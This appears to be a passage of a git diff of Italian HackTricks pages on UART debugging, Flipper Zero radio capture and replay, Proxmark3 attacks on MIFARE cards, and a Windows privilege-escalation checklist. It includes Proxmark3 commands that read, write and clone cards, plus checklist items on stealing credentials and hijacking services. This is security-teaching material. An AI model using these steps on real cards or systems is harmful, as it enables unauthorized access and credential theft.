* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,27 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
UART è un protocollo seriale, il che significa che trasferisce dati tra i componenti un bit alla volta. Al contrario, i protocolli di comunicazione parallela trasmettono dati simultaneamente attraverso più canali. I protocolli seriali comuni includono RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express e USB.
|
||||
UART è un protocollo seriale, il che significa che trasferisce dati tra componenti un bit alla volta. Al contrario, i protocolli di comunicazione parallela trasmettono dati simultaneamente attraverso più canali. I protocolli seriali comuni includono RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express e USB.
|
||||
|
||||
In generale, la linea è mantenuta alta (a un valore logico di 1) mentre l'UART è nello stato inattivo. Poi, per segnalare l'inizio di un trasferimento di dati, il trasmettitore invia un bit di avvio al ricevitore, durante il quale il segnale è mantenuto basso (a un valore logico di 0). Successivamente, il trasmettitore invia da cinque a otto bit di dati contenenti il messaggio effettivo, seguiti da un bit di parità opzionale e uno o due bit di stop (con un valore logico di 1), a seconda della configurazione. Il bit di parità, utilizzato per il controllo degli errori, è raramente visto in pratica. Il bit di stop (o i bit) segnalano la fine della trasmissione.
|
||||
|
||||
Chiamiamo la configurazione più comune 8N1: otto bit di dati, nessun bit di parità e un bit di stop. Ad esempio, se volessimo inviare il carattere C, o 0x43 in ASCII, in una configurazione UART 8N1, invieremmo i seguenti bit: 0 (il bit di avvio); 0, 1, 0, 0, 0, 0, 1, 1 (il valore di 0x43 in binario), e 0 (il bit di stop).
|
||||
Chiamiamo la configurazione più comune 8N1: otto bit di dati, nessuna parità e un bit di stop. Ad esempio, se volessimo inviare il carattere C, o 0x43 in ASCII, in una configurazione UART 8N1, invieremmo i seguenti bit: 0 (il bit di avvio); 0, 1, 0, 0, 0, 0, 1, 1 (il valore di 0x43 in binario), e 0 (il bit di stop).
|
||||
|
||||
![](<../../.gitbook/assets/image (764).png>)
|
||||
|
||||
|
@ -51,10 +38,10 @@ UART ha 4 porte: **TX**(Trasmetti), **RX**(Ricevi), **Vcc**(Tensione) e **GND**(
|
|||
|
||||
Con un **multimetro** e il dispositivo spento:
|
||||
|
||||
* Per identificare il pin **GND**, usa la modalità **Test di Continuità**, posiziona il cavo di massa e prova con quello rosso finché non senti un suono dal multimetro. Diversi pin GND possono essere trovati nel PCB, quindi potresti aver trovato o meno quello appartenente all'UART.
|
||||
* Per identificare il pin **GND**, utilizza la modalità **Test di Continuità**, posiziona il cavo nero a terra e prova con quello rosso finché non senti un suono dal multimetro. Diversi pin GND possono essere trovati nel PCB, quindi potresti aver trovato o meno quello appartenente all'UART.
|
||||
* Per identificare la **porta VCC**, imposta la **modalità di tensione DC** e impostala su 20 V di tensione. Sonda nera a terra e sonda rossa sul pin. Accendi il dispositivo. Se il multimetro misura una tensione costante di 3.3 V o 5 V, hai trovato il pin Vcc. Se ottieni altre tensioni, riprova con altre porte.
|
||||
* Per identificare la **porta TX**, imposta la **modalità di tensione DC** fino a 20 V di tensione, sonda nera a terra e sonda rossa sul pin, e accendi il dispositivo. Se trovi che la tensione fluttua per alcuni secondi e poi si stabilizza al valore Vcc, hai molto probabilmente trovato la porta TX. Questo perché all'accensione, invia alcuni dati di debug.
|
||||
* La porta **RX** sarebbe la più vicina alle altre 3, ha la fluttuazione di tensione più bassa e il valore complessivo più basso di tutti i pin UART.
|
||||
* La **porta RX** sarebbe la più vicina alle altre 3, ha la fluttuazione di tensione più bassa e il valore complessivo più basso di tutti i pin UART.
|
||||
|
||||
Puoi confondere le porte TX e RX e non succederebbe nulla, ma se confondi la porta GND e la porta VCC potresti danneggiare il circuito.
|
||||
|
||||
|
@ -65,7 +52,7 @@ In alcuni dispositivi target, la porta UART è disabilitata dal produttore disab
|
|||
Il modo più semplice per identificare la corretta velocità di baud è guardare l'**uscita del pin TX e provare a leggere i dati**. Se i dati che ricevi non sono leggibili, passa alla successiva possibile velocità di baud finché i dati non diventano leggibili. Puoi utilizzare un adattatore USB-seriale o un dispositivo multifunzione come Bus Pirate per farlo, abbinato a uno script di aiuto, come [baudrate.py](https://github.com/devttys0/baudrate/). Le velocità di baud più comuni sono 9600, 38400, 19200, 57600 e 115200.
|
||||
|
||||
{% hint style="danger" %}
|
||||
È importante notare che in questo protocollo devi collegare il TX di un dispositivo all'RX dell'altro!
|
||||
È importante notare che in questo protocollo è necessario collegare il TX di un dispositivo all'RX dell'altro!
|
||||
{% endhint %}
|
||||
|
||||
## Adattatore CP210X UART a TTY
|
||||
|
@ -92,11 +79,11 @@ Dopo la configurazione, usa il comando `minicom` per avviare la Console UART.
|
|||
|
||||
## UART Via Arduino UNO R3 (Schede con Chip Atmel 328p Rimovibile)
|
||||
|
||||
Nel caso in cui gli adattatori UART Serial to USB non siano disponibili, l'Arduino UNO R3 può essere utilizzato con un hack veloce. Poiché l'Arduino UNO R3 è solitamente disponibile ovunque, questo può far risparmiare molto tempo.
|
||||
Nel caso in cui gli adattatori UART Serial to USB non siano disponibili, l'Arduino UNO R3 può essere utilizzato con un hack rapido. Poiché l'Arduino UNO R3 è solitamente disponibile ovunque, questo può far risparmiare molto tempo.
|
||||
|
||||
L'Arduino UNO R3 ha un adattatore USB a Serial integrato sulla scheda stessa. Per ottenere la connessione UART, basta estrarre il chip microcontrollore Atmel 328p dalla scheda. Questo hack funziona sulle varianti di Arduino UNO R3 che hanno l'Atmel 328p non saldato sulla scheda (viene utilizzata la versione SMD). Collega il pin RX dell'Arduino (Pin Digitale 0) al pin TX dell'interfaccia UART e il pin TX dell'Arduino (Pin Digitale 1) al pin RX dell'interfaccia UART.
|
||||
|
||||
Infine, si consiglia di utilizzare l'Arduino IDE per ottenere la Console Serial. Nella sezione `tools` nel menu, seleziona l'opzione `Serial Console` e imposta il baud rate in base all'interfaccia UART.
|
||||
Infine, si consiglia di utilizzare l'Arduino IDE per ottenere la Console Serial. Nella sezione `tools` nel menu, seleziona l'opzione `Serial Console` e imposta il baud rate secondo l'interfaccia UART.
|
||||
|
||||
## Bus Pirate
|
||||
|
||||
|
@ -198,29 +185,17 @@ Questo elencherà i possibili contenuti dell'EEPROM in base alle firme trovate n
|
|||
|
||||
Tuttavia, è necessario notare che non è sempre il caso che il uboot sia sbloccato anche se viene utilizzato. Se il tasto Enter non fa nulla, controlla altri tasti come il tasto Spazio, ecc. Se il bootloader è bloccato e non viene interrotto, questo metodo non funzionerebbe. Per verificare se uboot è il bootloader per il dispositivo, controlla l'output sulla Console UART durante l'avvio del dispositivo. Potrebbe menzionare uboot durante l'avvio.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,33 +15,19 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Gruppo Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Con [**Flipper Zero**](https://flipperzero.one/) puoi:
|
||||
|
||||
* **Ascoltare/Catturare/Riprodurre frequenze radio:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||
* **Leggere/Catturare/Emulare carte NFC:** [**NFC**](fz-nfc.md)
|
||||
* **Leggere/Catturare/Emulare tag a 125kHz:** [**125kHz RFID**](fz-125khz-rfid.md)
|
||||
* **Leggere/Catturare/Inviare segnali infrarossi:** [**Infrarossi**](fz-infrared.md)
|
||||
* **Leggere/Catturare/Emulare iButtons:** [**iButton**](../ibutton.md)
|
||||
* **Leggere/Catturare/Inviate segnali infrarossi:** [**Infrarossi**](fz-infrared.md)
|
||||
* **Leggere/Catturare/Emulare iButton:** [**iButton**](../ibutton.md)
|
||||
* **Usarlo come Bad USB**
|
||||
* **Usarlo come chiave di sicurezza (U2F)**
|
||||
* **Giocare a Snake**
|
||||
|
||||
**Altre risorse Flipper Zero in** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
||||
|
||||
**Gruppo Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,17 +15,10 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Intro <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero può **ricevere e trasmettere frequenze radio nell'intervallo di 300-928 MHz** con il suo modulo integrato, che può leggere, salvare ed emulare telecomandi. Questi controlli sono utilizzati per interagire con cancelli, barriere, serrature radio, interruttori a distanza, campanelli wireless, luci intelligenti e altro. Flipper Zero può aiutarti a scoprire se la tua sicurezza è compromessa.
|
||||
Flipper Zero può **ricevere e trasmettere frequenze radio nella gamma di 300-928 MHz** con il suo modulo integrato, che può leggere, salvare ed emulare telecomandi. Questi controlli sono utilizzati per interagire con cancelli, barriere, serrature radio, interruttori a distanza, campanelli wireless, luci intelligenti e altro. Flipper Zero può aiutarti a scoprire se la tua sicurezza è compromessa.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -40,7 +33,7 @@ Flipper Zero ha un modulo sub-1 GHz integrato basato su un [](https://www.st.
|
|||
### Analizzatore di Frequenza
|
||||
|
||||
{% hint style="info" %}
|
||||
Come trovare quale frequenza utilizza il telecomando
|
||||
Come trovare quale frequenza sta usando il telecomando
|
||||
{% endhint %}
|
||||
|
||||
Quando si analizza, Flipper Zero sta scansionando la forza dei segnali (RSSI) a tutte le frequenze disponibili nella configurazione di frequenza. Flipper Zero visualizza la frequenza con il valore RSSI più alto, con una forza del segnale superiore a -90 [dBm](https://en.wikipedia.org/wiki/DBm).
|
||||
|
@ -65,7 +58,7 @@ In questo momento ha **4 modulazioni** (AM270, AM650, FM328 e FM476), e **divers
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (947).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Puoi impostare **quella che ti interessa**, tuttavia, se **non sei sicuro di quale frequenza** potrebbe essere quella utilizzata dal telecomando che hai, **imposta Hopping su ON** (Off per impostazione predefinita), e premi il pulsante più volte fino a quando Flipper la cattura e ti fornisce le informazioni necessarie per impostare la frequenza.
|
||||
Puoi impostare **quella che ti interessa**, tuttavia, se **non sei sicuro di quale frequenza** potrebbe essere quella utilizzata dal telecomando che hai, **imposta Hopping su ON** (Off per impostazione predefinita), e premi il pulsante più volte fino a quando Flipper non la cattura e ti fornisce le informazioni necessarie per impostare la frequenza.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Passare tra le frequenze richiede del tempo, quindi i segnali trasmessi al momento del passaggio possono essere persi. Per una migliore ricezione del segnale, imposta una frequenza fissa determinata dall'Analizzatore di Frequenza.
|
||||
|
@ -128,12 +121,6 @@ Ottieni dBms delle frequenze salvate
|
|||
|
||||
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Attaccare i sistemi RFID con Proxmark3
|
||||
|
||||
La prima cosa che devi fare è avere un [**Proxmark3**](https://proxmark.com) e [**installare il software e le sue dipendenze**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
|
@ -31,7 +23,7 @@ La prima cosa che devi fare è avere un [**Proxmark3**](https://proxmark.com) e
|
|||
|
||||
Ha **16 settori**, ognuno dei quali ha **4 blocchi** e ogni blocco contiene **16B**. L'UID si trova nel settore 0 blocco 0 (e non può essere modificato).\
|
||||
Per accedere a ciascun settore hai bisogno di **2 chiavi** (**A** e **B**) che sono memorizzate in **blocco 3 di ciascun settore** (settore trailer). Il settore trailer memorizza anche i **bit di accesso** che forniscono i permessi di **lettura e scrittura** su **ciascun blocco** utilizzando le 2 chiavi.\
|
||||
2 chiavi sono utili per dare permessi di lettura se conosci la prima e di scrittura se conosci la seconda (per esempio).
|
||||
2 chiavi sono utili per dare permessi di lettura se conosci la prima e di scrittura se conosci la seconda (ad esempio).
|
||||
|
||||
Possono essere eseguiti diversi attacchi.
|
||||
```bash
|
||||
|
@ -52,11 +44,11 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
|
|||
proxmark3> hf mf eget 01 # Read block 1
|
||||
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
||||
```
|
||||
Il Proxmark3 consente di eseguire altre azioni come **eavesdropping** su una **comunicazione Tag a Reader** per cercare di trovare dati sensibili. In questa scheda potresti semplicemente sniffare la comunicazione e calcolare la chiave utilizzata perché le **operazioni crittografiche utilizzate sono deboli** e conoscendo il testo in chiaro e il testo cifrato puoi calcolarla (strumento `mfkey64`).
|
||||
Il Proxmark3 consente di eseguire altre azioni come **eavesdropping** una **comunicazione Tag a Reader** per cercare di trovare dati sensibili. In questa scheda potresti semplicemente sniffare la comunicazione e calcolare la chiave utilizzata perché le **operazioni crittografiche utilizzate sono deboli** e conoscendo il testo in chiaro e il testo cifrato puoi calcolarla (strumento `mfkey64`).
|
||||
|
||||
### Comandi Raw
|
||||
### Comandi Grezzi
|
||||
|
||||
I sistemi IoT a volte utilizzano **tag non marchiati o non commerciali**. In questo caso, puoi utilizzare Proxmark3 per inviare **comandi raw personalizzati ai tag**.
|
||||
I sistemi IoT a volte utilizzano **tag non marchiati o non commerciali**. In questo caso, puoi utilizzare Proxmark3 per inviare **comandi grezzi personalizzati ai tag**.
|
||||
```bash
|
||||
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
|
||||
SAK : 08 [2]
|
||||
|
@ -76,13 +68,6 @@ proxmark3> script run mfkeys
|
|||
```
|
||||
Puoi creare uno script per **fuzz tag readers**, quindi copiando i dati di una **valid card** basta scrivere un **Lua script** che **randomizza** uno o più **bytes** casuali e controlla se il **reader crashes** con qualsiasi iterazione.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Checklist - Local Windows Privilege Escalation
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,14 +15,6 @@ Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### **Miglior strumento per cercare vettori di escalation dei privilegi locali di Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [Informazioni di sistema](windows-local-privilege-escalation/#system-info)
|
||||
|
@ -65,7 +57,7 @@ Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### [Processi in esecuzione](windows-local-privilege-escalation/#running-processes)
|
||||
|
||||
* [ ] Permessi sui [**file e cartelle dei processi**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||
* [ ] Permessi [**file e cartelle dei binari dei processi**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||
* [ ] [**Estrazione password dalla memoria**](windows-local-privilege-escalation/#memory-password-mining)
|
||||
* [ ] [**App GUI insicure**](windows-local-privilege-escalation/#insecure-gui-apps)
|
||||
* [ ] Ruba credenziali con **processi interessanti** tramite `ProcDump.exe` ? (firefox, chrome, ecc ...)
|
||||
|
@ -75,18 +67,18 @@ Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
* [ ] [Puoi **modificare qualche servizio**?](windows-local-privilege-escalation/#permissions)
|
||||
* [ ] [Puoi **modificare** il **binario** che viene **eseguito** da qualche **servizio**?](windows-local-privilege-escalation/#modify-service-binary-path)
|
||||
* [ ] [Puoi **modificare** il **registro** di qualche **servizio**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
|
||||
* [ ] [Puoi approfittare di qualche **percorso di binario di servizio non quotato**?](windows-local-privilege-escalation/#unquoted-service-paths)
|
||||
* [ ] [Puoi approfittare di qualche **percorso binario di servizio non quotato**?](windows-local-privilege-escalation/#unquoted-service-paths)
|
||||
|
||||
### [**Applicazioni**](windows-local-privilege-escalation/#applications)
|
||||
|
||||
* [ ] **Scrivi** [**permessi sulle applicazioni installate**](windows-local-privilege-escalation/#write-permissions)
|
||||
* [ ] [**Applicazioni di avvio**](windows-local-privilege-escalation/#run-at-startup)
|
||||
* [ ] **Driver vulnerabili** [**Drivers**](windows-local-privilege-escalation/#drivers)
|
||||
* [ ] **Driver vulnerabili** [**Driver**](windows-local-privilege-escalation/#drivers)
|
||||
|
||||
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
|
||||
|
||||
* [ ] Puoi **scrivere in qualche cartella dentro PATH**?
|
||||
* [ ] C'è qualche binario di servizio noto che **cerca di caricare qualche DLL non esistente**?
|
||||
* [ ] Esiste qualche binario di servizio noto che **cerca di caricare qualche DLL non esistente**?
|
||||
* [ ] Puoi **scrivere** in qualche **cartella di binari**?
|
||||
|
||||
### [Rete](windows-local-privilege-escalation/#network)
|
||||
|
@ -96,13 +88,13 @@ Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### [Credenziali di Windows](windows-local-privilege-escalation/#windows-credentials)
|
||||
|
||||
* [ ] Credenziali di [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials)
|
||||
* [ ] Credenziali di [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) che potresti usare?
|
||||
* [ ] Credenziali [**DPAPI**](windows-local-privilege-escalation/#dpapi) interessanti?
|
||||
* [ ] [**Credenziali Winlogon**](windows-local-privilege-escalation/#winlogon-credentials)
|
||||
* [ ] [**Credenziali Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) che potresti usare?
|
||||
* [ ] Credenziali [**DPAPI**] interessanti](windows-local-privilege-escalation/#dpapi)?
|
||||
* [ ] Password delle [**reti Wifi salvate**](windows-local-privilege-escalation/#wifi)?
|
||||
* [ ] Informazioni interessanti nelle [**connessioni RDP salvate**](windows-local-privilege-escalation/#saved-rdp-connections)?
|
||||
* [ ] Password nei [**comandi eseguiti di recente**](windows-local-privilege-escalation/#recently-run-commands)?
|
||||
* [ ] Password nel [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/#remote-desktop-credential-manager)?
|
||||
* [ ] Password nel [**gestore delle credenziali di Desktop Remoto**](windows-local-privilege-escalation/#remote-desktop-credential-manager)?
|
||||
* [ ] Esiste [**AppCmd.exe**](windows-local-privilege-escalation/#appcmd-exe)? Credenziali?
|
||||
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? DLL Side Loading?
|
||||
|
||||
|
@ -119,28 +111,22 @@ Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
* [ ] Informazioni interessanti nei [**log web**](windows-local-privilege-escalation/#logs)?
|
||||
* [ ] Vuoi [**chiedere credenziali**](windows-local-privilege-escalation/#ask-for-credentials) all'utente?
|
||||
* [ ] File [**interessanti dentro il Cestino**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
||||
* [ ] Altro [**registro contenente credenziali**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||
* [ ] Altri [**registri contenenti credenziali**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||
* [ ] Dentro i [**dati del browser**](windows-local-privilege-escalation/#browsers-history) (db, cronologia, segnalibri, ...)?
|
||||
* [ ] [**Ricerca generica di password**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) in file e registro
|
||||
* [ ] [**Strumenti**](windows-local-privilege-escalation/#tools-that-search-for-passwords) per cercare automaticamente password
|
||||
* [ ] [**Strumenti**](windows-local-privilege-escalation/#tools-that-search-for-passwords) per cercare automaticamente le password
|
||||
|
||||
### [Leaked Handlers](windows-local-privilege-escalation/#leaked-handlers)
|
||||
### [Gestori di leak](windows-local-privilege-escalation/#leaked-handlers)
|
||||
|
||||
* [ ] Hai accesso a qualche gestore di un processo eseguito da amministratore?
|
||||
|
||||
### [Pipe Client Impersonation](windows-local-privilege-escalation/#named-pipe-client-impersonation)
|
||||
### [Impersonificazione del client Pipe](windows-local-privilege-escalation/#named-pipe-client-impersonation)
|
||||
|
||||
* [ ] Controlla se puoi abusarne
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
